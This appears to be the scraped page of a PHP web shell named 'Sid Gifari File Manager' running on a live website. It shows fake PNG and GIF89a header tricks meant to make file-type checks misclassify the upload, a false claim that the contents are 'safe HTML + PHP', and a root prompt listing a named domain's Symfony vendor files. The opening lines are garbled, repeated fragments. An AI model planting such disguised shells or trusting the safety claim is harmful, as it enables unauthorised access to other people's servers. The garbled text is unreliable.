$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / bibibarrios.com / vendor / symfony / error-handler / Exception /
root@Sid-Gifari:/home/forge/bibibarrios.com/vendor/symfony/error-handler/Exception$


NameSizePermAction
📄 FlattenException.php 12094 bytes
📄 SilencedErrorContext.php 1453 bytes
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